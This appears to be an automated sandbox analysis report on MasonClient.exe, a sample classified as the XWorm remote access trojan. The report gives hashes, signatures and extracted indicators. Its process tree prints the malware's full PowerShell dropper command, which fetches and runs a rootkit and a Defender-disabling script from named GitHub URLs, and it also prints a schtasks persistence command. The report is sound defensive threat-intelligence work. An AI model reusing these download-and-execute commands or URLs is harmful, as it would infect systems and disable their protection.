Overview

overview

10

Static

static

10

MasonClient.exe

windows7-x64

10

MasonClient.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    03/03/2025, 10:16

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    MasonClient.exe

  • Size

    54KB

  • MD5

    56a042f71361ec8891669195ca679854

  • SHA1

    5662384563cdf3386b045ef65d55b4f449a8a3d3

  • SHA256

    520b70d08e7749fa9e85efaf4de701ec608bcb00c0bc8442651e8224bda87bb4

  • SHA512

    648ea50d9861d9a2ba4bb954b0835ec29f5707b008a990040b59b66880369e43b35b3a05218ceeedf1a669ac77f5cb07660a0ea796b2c7b254042451ce2b57a6

  • SSDEEP

    1536:9IaWLLWFVyziNEt9opb/yUQsAD/EbOznuy:9IxLWFVyziNEt+b/K/EbO6y

Score
10/10
xwormexecutionrattrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 4 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 62 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
    "C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2380
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2172
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2748
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {04C81B4B-3C36-40C4-A9FA-66635407740B} S-1-5-21-2872745919-2748461613-2989606286-1000:CCJBVTGQ\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:628
    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
      C:\Users\Admin\AppData\Roaming\MasonClient.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1264
    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
      C:\Users\Admin\AppData\Roaming\MasonClient.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:984

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
    Filesize

    71KB

    MD5

    83142242e97b8953c386f988aa694e4a

    SHA1

    833ed12fc15b356136dcdd27c61a50f59c5c7d50

    SHA256

    d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

    SHA512

    bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\TarEB8E.tmp
    Filesize

    183KB

    MD5

    109cab5505f5e065b63d01361467a83b

    SHA1

    4ed78955b9272a9ed689b51bf2bf4a86a25e53fc

    SHA256

    ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673

    SHA512

    753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc

    Download Submit

  • C:\Users\Admin\AppData\Roaming\MasonClient.exe
    Filesize

    54KB

    MD5

    56a042f71361ec8891669195ca679854

    SHA1

    5662384563cdf3386b045ef65d55b4f449a8a3d3

    SHA256

    520b70d08e7749fa9e85efaf4de701ec608bcb00c0bc8442651e8224bda87bb4

    SHA512

    648ea50d9861d9a2ba4bb954b0835ec29f5707b008a990040b59b66880369e43b35b3a05218ceeedf1a669ac77f5cb07660a0ea796b2c7b254042451ce2b57a6

    Download Submit

  • memory/984-2835-0x0000000000C50000-0x0000000000C64000-memory.dmp

    Filesize

    80KB

    Download

  • memory/1264-1273-0x00000000000F0000-0x0000000000104000-memory.dmp

    Filesize

    80KB

    Download

  • memory/2172-6-0x00000000028F0000-0x0000000002970000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2172-7-0x000000001B590000-0x000000001B872000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2172-8-0x0000000001F80000-0x0000000001F88000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2172-9-0x00000000028F0000-0x0000000002970000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2380-11-0x000007FEF5823000-0x000007FEF5824000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2380-69-0x0000000000E00000-0x0000000000E80000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2380-0-0x000007FEF5823000-0x000007FEF5824000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2380-1-0x0000000000EB0000-0x0000000000EC4000-memory.dmp

    Filesize

    80KB

    Download